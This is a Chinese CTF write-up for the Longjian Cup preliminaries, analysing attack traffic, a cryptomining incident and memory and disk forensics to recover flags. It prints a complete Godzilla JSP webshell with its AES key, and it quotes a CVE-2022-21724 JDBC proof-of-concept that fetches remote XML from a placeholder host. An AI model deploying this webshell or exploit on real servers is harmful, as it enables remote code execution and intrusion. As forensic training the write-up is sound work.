第二屆隴劍杯 初賽全WP

Ch3nry發表於2024-10-24

以前打的比賽寫的WP,整理了一下,純個人理解,WP和附件自取,若有幫助,記得點贊和關注哈:)

hard_web

題目附件:hard_web_99af7443957c71d3961b3e3cc6045f46.zip

  1. 伺服器開放了哪些埠,請按照埠大小順序提交答案,並以英文逗號隔開(如伺服器開放了80 81 82 83埠,則答案為80,81,82,83)

首先確定伺服器和客戶端的IP

確定是伺服器是192.168.162.180客戶端為192.168.162.188,開放埠的話會完成tcp三次握手協議

所以如果成功建立連線的話,伺服器會傳送一個synack欄位

  • ip.dst == 192.168.162.188 and tcp.connection.synack

所以可以確定開放的埠是80,888,8888

  1. 伺服器中根目錄下的flag值是多少

首先過濾HTTP協議

可以看到shell.jsp,初步判斷是某種webshell


然後這裡還列出了webshell的內容

<%! String xc="748007e861908c03"; class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }}%><%try{byte[] data=new byte[Integer.parseInt(request.getHeader("Content-Length"))];java.io.InputStream inputStream= request.getInputStream();int _num=0;while ((_num+=inputStream.read(data,_num,data.length))<data.length);data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters", data);Object f=((Class)session.getAttribute("payload")).newInstance();java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();f.equals(arrOut);f.equals(pageContext);f.toString();response.getOutputStream().write(x(arrOut.toByteArray(), true));} }catch (Exception e){}%>

基本就是哥斯拉的webshell,解密的話網上找一個指令碼或者使用大廚即可

直接看最後一個請求和響應

請求

響應

最後的flagflag{9236b29d-5488-41e6-a04b-53b0d8276542}

  1. 該webshell的連線密碼是多少

倒數第五個請求解密之後可以看到

檢視響應

然後md5解密748007e861908c03得到,或者寫指令碼爆破MD5也行

看看MD5加密

應該是去了前幾位作為金鑰

所以連線密碼是14mk3y

參考:

  • https://blog.csdn.net/weixin_52365980/article/details/131505481

Wireshark1

題目附件:wireshark1_dc337306e02806e9e11e650c515bd774.zip

  1. 被入侵主機的IP是?

分析發現入侵協議是telnet,應該是從哪裡知道了賬號密碼之後直接遠端連線23埠了

看內容就知道被入侵主機的IP是192.168.246.28

  1. 被入侵主機的口令是?

直接追蹤流即可

口令是youcannevergetthis

  1. 使用者目錄下第二個資料夾的名稱是?

同樣直接追蹤流即可

第二個資料夾的名稱是Downloads

  1. /etc/passwd中倒數第二個使用者的使用者名稱是?

同樣直接追蹤流即可

倒數第二個使用者的使用者名稱是mysql

SmallSword

題目附件:SmallSword_f0255d257b71afd3affd813cf362f025.zip

  1. 連線蟻劍的正確密碼是______________?

分析流量可以看到

這邊透過sql聯合注入寫了兩個webshell進去

這邊連線蟻劍的密碼都是6ea280898e404bfabd0ebb702327b18f

但是連線利用的時候又變成了

6ea280898e404bfabd0ebb702327b19f

後續還有

一堆疑惑行為,存在多次傳參命令執行

最後嘗試真正的密碼是6ea280898e404bfabd0ebb702327b19f

  1. 攻擊者留存的值是______________?(答案示例:d1c3f0d3-68bb-4d85-a337-fb97cf99ee2e)

存留的值大機率是寫入的,分析流量發現最後滴幾個流量在寫入資訊

明顯執行檔案流,然後字串可以base64解密,一一解密得到

最後第三個利用webshell的流

hacker.txt中寫入了ad6269b7-3ce2-4ae8-b97f-f259515e7a91,即為留存的值

然後倒數第二個

這不是火絨嗎,難道是在hack火絨!!!,不過好像是類似一個入侵偽裝吧,木馬檔案改名以及修改時間戳。

  1. 攻擊者下載到的flag是______________?(答案示例:flag3{uuid})

分析info1.php這個webshell沒發現下載相關命令,可能有其他的webshel

這個引數v似乎也能進行命令執行,但是無法解密命令

追蹤流

在隨後的130137流中發現

明顯是exe檔案,我猜測是下載了名為火絨的exe

直接轉16進位制搜尋exe檔案頭

隨後複製一長串用010轉一下得到

直接執行輸出:圖片儲存成功:

然後在上一層會輸出一張圖片

010檢視發現是png,然後修改高度

發現最後的flagflag3{8f0dffac-5801-44a9-bd49-e66192ce4f57}

ez_web

題目附件:ez_web_e82608071ac21070473ff8c37658e265.zip

  1. 伺服器自帶的後門檔名是什麼?

分析流量包可以發現

有個d00r.php可以進行命令執行,但是提交不對,於是猜測hacker就是透過伺服器自帶的後門寫入這個webshell

直接查詢d00r.php發現

這裡透過a引數利用file_put_contents函式寫入了檔案

所以後門檔案就是ViewMore.php

  1. 伺服器的內網IP是多少?

由於這裡利用了d00r.phpcmd引數進行命令執行

我們直接應用為列進行檢視,內網IP的話就重點關注IP相關命令

檢視回顯

雙網路卡,經過嘗試內網IP192.168.101.132

  1. 攻擊者往伺服器中寫入的key是什麼?

這邊看到


然後嘗試解密

發現是一個zip,然後有密碼,密碼在

大廚直接解密即可

所以寫入的key是7d9ddff2-2d67-4eba-9e48-b91c26c42337

tcpdump

題目附件:easywiki.zip

  1. 攻擊者透過暴力破解進入了某Wiki 文件,請給出登入的使用者名稱與密碼,以:拼接,比如admin:admin

可以看到

爆破失敗返回的是300,那我們查詢200

追蹤流得到

所以登入的使用者名稱與密碼為TMjpxFGQwD:123457

  1. 攻擊者發現軟體存在越權漏洞,請給出攻擊者越權使用的cookie的內容的md5值

檢視cookie

直接把cookie應用為列,然後過濾人眼檢視

前面是2後面變1那麼越權的應該是1

MD5一下

得到383c74db4e32513daaa1eeb1726d7255

  1. 攻擊使用jdbc漏洞讀取了應用配置檔案,給出配置中的資料庫賬號密碼,以:拼接,比如root:123456

直接搜尋jdbc得到如下

配置中的資料庫賬號密碼為springcfg:root,但是不對,然後一一追蹤流在1600流發現

所以配置中的資料庫賬號密碼zyplayer:1234567

  1. 攻擊者又使用了CVE漏洞攻擊應用,執行系統命令,請給出此CVE編號以及遠端EXP的檔名,使用:拼接,比如CVE-2020-19817:exp.so

發現可疑情況

遠端下載

可以看到遠端下載用的是jdbc:postgresql查詢一下

找到一個CVE-2022-21724POC如下

  • DriverManager.getConnection("jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml");

主要利用的是socketFactorysocketFactoryArg這兩個引數

可以看到幾乎一樣

得到CVE-2022-21724:custom.dtd.xml

  1. 給出攻擊者獲取系統許可權後,下載的工具的名稱,比如nmap

同樣一一追蹤流

得到下載的工具名稱fscan_amd64經過嘗試需要去掉版本資訊

最後為fscan

hacked

題目附件:hacked_9702a13c99753e97b1c04a3aa687bbd4.zip

  1. admIn使用者的密碼是什麼?

檢視

發現使用者名稱和密碼都是加密的形式,隨後在tcp50流看到加密方式


AES加密

  • keyl36DoqKUYQP0N7e1
  • IV131b0c8a7a6e072e

隨後在57流看到

檢視56流並解密

得到admIn使用者的密碼flag{WelC0m5_TO_H3re}

  1. app.config['SECRET_KEY']值為多少?

嘗試直接搜尋SECRET_KEY

html解碼

得到SECRET_KEY的值為ssti_flask_hsfvaldb

  1. flask網站由哪個使用者啟動?

76流解密得到

發現執行了whoami,但是沒有回顯

但是卻有一個set-cookie

然後解密就得到

可以知道使用者名稱是red

  1. 攻擊者寫入的記憶體馬的路由名叫什麼?(答案裡不需要加/)

百度一下注入記憶體馬的方法,參考

  • https://xz.aliyun.com/t/10933#toc-4
  • https://www.anquanke.com/post/id/279160#h3-11

查閱發現是呼叫了add_url_rule函式來新增路由

然後發現81流有點奇怪

解密session

和記憶體馬完全符合

所以最後的記憶體馬路徑就是add_url_rule後面的Index

sevrer save

題目附件:SS.zip

解壓密碼為c77ad47ba4c85fae66f08ec12e0085dd

  1. 駭客是使用什麼漏洞來拿下root許可權的。格式為:CVE-2020-114514

分析流量


發現可疑字串,百度一下


得到CVE-2022-22965

  1. 駭客反彈shell的ip和埠是什麼,格式為:10.0.0.1:4444

直接看壓縮包中的檔案系統資訊helloworld目錄下

![](https://img2024.cnblogs.com/blog/3475197/202410/3475197-20241024000808828-974088635.png
然後看bbbb.sh

或者看流量



得到192.168.43.128:2333

  1. 駭客的病毒名稱是什麼? 格式為:filename

可以看到使用者主目錄下


有個mian檔案,同時.idea中也存在檔案



猜測惡意檔案就是mian

  1. 駭客的病毒執行後建立了什麼使用者?請將回答使用者名稱與密碼:username:password

直接檢視一下passwd


再看一下shadow


所以使用者名稱與密碼為ll:123456

  1. 伺服器在被入侵時外網ip是多少? 格式為:10.10.0.1

直接檢視使用者目錄下的.log.txt


得到外網IP172.105.202.239

  1. 病毒執行後釋放了什麼檔案?格式:檔案1,檔案2

就釋放了.idea下的兩個檔案


答案就是lolMiner,mine_doge.sh

  1. 礦池地址是什麼? 格式:domain:1234

直接檢視mine_doge.sh


得到礦池地址doge.millpools.cc:5567

  1. 駭客的錢包地址是多少?格式:xx:xxxxxxxx

同樣


錢包地址為DOGE:DRXz1q6ys8Ao2KnPbtb7jQhPjDSqtwmNN9

IncidentResponse

題目附件:太大了,傳不了,一個映象檔案拿來應急響應

解壓密碼為f0b1ba11478343f404666c355919de3f

題目描述

你是公司的一名安全運營工程師,今日接到外部監管部門通報,你公司網路出口存在請求挖礦域名的行為。需要立即整改。經過與網路組配合,你們定位到了請求挖礦域名的內網IP是10.221.36.21。查詢CMDB後得知該IP執行了公司的工時系統。(虛擬機器賬號密碼為:root/IncidentResponsePasswd)

  1. 挖礦程式所在路徑是?(答案中如有空格均需去除,如有大寫均需變為小寫,使用echo -n 'strings'|md5sum|cut -d ' ' -f1獲取md5值作為答案)

檢視一下程序資訊


有個redis看看配置檔案


這裡JSON格式怪怪的,和常規的配置檔案不太一樣


後面就更加離譜了,還有pools以及wallet,經典的xmrig挖礦病毒,應該個偽造的redis程式,同時也沒有redis-cli命令列程式

所以挖礦程式所在的路徑就是/etc/redis/redis-server


最後的答案6f72038a870f05cbf923633066e48881

此外我們還可以用7Z拿出ova中的VMDK磁碟檔案,然後用取證大師或者R-Studio來恢復我們拿出需要的檔案,這樣會更加方便一點,不過就看不了記憶體中的程序等等資訊了,最好模擬和磁碟同時利用

我們恢復取出其中的redis-server檢查一下


直接檢測出了xmrig,一種經典的挖礦病毒

  1. 挖礦程式連線的礦池域名是?(答案中如有空格均需去除,如有大寫均需變為小寫,使用echo -n 'strings'|md5sum|cut -d ' ' -f1獲取md5值作為答案)

同樣看配置檔案我們就可以知道礦池地址是donate.v2.xmrig.com

查一下


最後的答案3fca20bb92d0ed67714e68704a0a4503

  1. 攻擊者入侵伺服器的利用的方法是?(答案中如有空格均需去除,如有大寫均需變為小寫,使用echo -n 'strings'|md5sum|cut -d ' ' -f1獲取md5值作為答案)

hint:答案md5值前兩位為3e

由於我們看到該映象執行的web服務是一個jar包,那麼大機率透過java的方式進行利用然後打進來


當前目錄下有日誌,看看日誌

利用檔案恢復


這兩個檔案

反編譯jar包,在pom中看到


版本資訊


版本是1.2.4,這個版本是存在shiro反序列化漏洞的

網站框架是網上的renren-security,不過很久沒更新了

看下日誌


基本可以確定是shiro550,但是怎麼輸入的不對

後面發現英文的可以


最後的答案3ee726cb32f87a15d22fe55fa04c4dcd

  1. 攻擊者的IP是?(答案中如有空格均需去除,如有大寫均需變為小寫,使用echo -n 'strings'|md5sum|cut -d ' ' -f1獲取md5值作為答案)

檢視ssh的日誌


發現存在來自81.70.166.3的暴力破解痕跡,猜測就是攻擊者的IP


取證大師也能看到

隨後變換格式


所以答案就是c76b4b1a5e8c9e7751af4684c6a8b2c9

  1. 攻擊者發起攻擊時使用的User-Agent是?(答案中如有空格均需去除,如有大寫均需變為小寫,使用echo -n 'strings'|md5sum|cut -d ' ' -f1獲取md5值作為答案)

檢視nginx的日誌


可以看到攻擊者的UAMozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)

變化格式


最後的答案6ba8458f11f4044cce7a621c085bb3c6

  1. 攻擊者使用了兩種許可權維持手段,相應的配置檔案路徑是?(md5加密後以a開頭)(答案中如有空格均需去除,如有大寫均需變為小寫,使用echo -n 'strings'|md5sum|cut -d ' ' -f1獲取md5值作為答案)

同樣檢視SSH日誌


可以發現攻擊者暴力破解無果之後,利用公私鑰成功登入了系統,應該是透過某種方式寫入了公鑰,配置檔案路徑一般都是/root/.ssh/authorized_keys


然後看看格式


所以第一種方式就是利用SSH金鑰進行許可權維持

答案為a1fa1b5aeb1f97340032971c342c4258

  1. 攻擊者使用了兩種許可權維持手段,相應的配置檔案路徑是?(md5加密後以b開頭)(答案中如有空格均需去除,如有大寫均需變為小寫,使用echo -n 'strings'|md5sum|cut -d ' ' -f1獲取md5值作為答案)

一一檢測常見Linux下的許可權維持手段


檢視影子賬戶


檢視定時任務


檢視有無敏感啟動任務

發現一個啟動任務的後門用於重複啟動挖礦程式,所以配置檔案的路徑是/lib/systemd/system/redis.service

變換格式


所以最後的答案就是b2c5af8ce08753894540331e5a947d35

baby_forensics

題目附件:BF.zip

解壓密碼為4cf611fce4a2fec305e54c2766b7c860

  1. 磁碟中的key是多少

直接掛載


發現磁碟用bitlocker加密了,需要解密

嘗試用EFDD解密


發現可以


金鑰的16進位制ed9779c500281407fc821a280115b58fbde944e4e3c925a1f7b0c984eb3a1709


亂碼用不了好像

恢復金鑰

得到恢復金鑰560604-255013-655633-128854-663223-316063-484946-476498

然後利用恢復金鑰解密或者用EFDD再次掛載一個解密的盤都可以


開啟就能得到key


得到E96<6J:Da6g_b_f_gd75a3d4ch4heg4bab66ad5d,作為MISC手的直覺一眼像是加密的


rot47解密得到thekeyis2e80307085fd2b5c49c968c323ee25d5

或者不解密磁碟直接去記憶體中取出解密


所以最後的答案就是2e80307085fd2b5c49c968c323ee25d5

  1. 電腦中正在執行的計算器的執行結果是多少

先取證一下記憶體


然後取出程序映象


然後用Gimp分析程序記憶體中的點陣圖檔案,具體原理百度


調了一會終於調出來可,最後的引數如下,可能有很多種引數選擇可以得到上圖


此處之外利用如下命令檢視程式視窗控制代碼資訊


然後查詢calc程式也能找到


所以答案就是7598632541

  1. 該記憶體檔案中存在的flag值是多少

繼續取證記憶體檔案


有個便籤程式,取出記憶體分析一下


然後同樣用Gimp分析


能看出有一段字串以U2Fsd開頭,可能是AES或者DES rabbit加密,直接Strings大法看一下


得到U2FsdGVkX195MCsw0ANs6/Vkjibq89YlmnDdY/dCNKRkixvAP6+B5ImXr2VIqBSp

補充完善得到

U2FsdGVkX195MCsw0ANs6/Vkjibq89YlmnDdY/dCNKRkixvAP6+B5ImXr2VIqBSp94qfIcjQhDxPgr9G4u++pA==

還差一個金鑰,檔案搜尋key/k3y/passwd/等等資訊,除此之外好像Gimp繼續翻看記憶體檔案也能得到類似檔案的提示


得到一個這個,匯出檢視一下


猜測是金鑰,AES解密試試


得到flag{ad9bca48-c7b0-4bd6-b6fb-aef90090bb98}

相關文章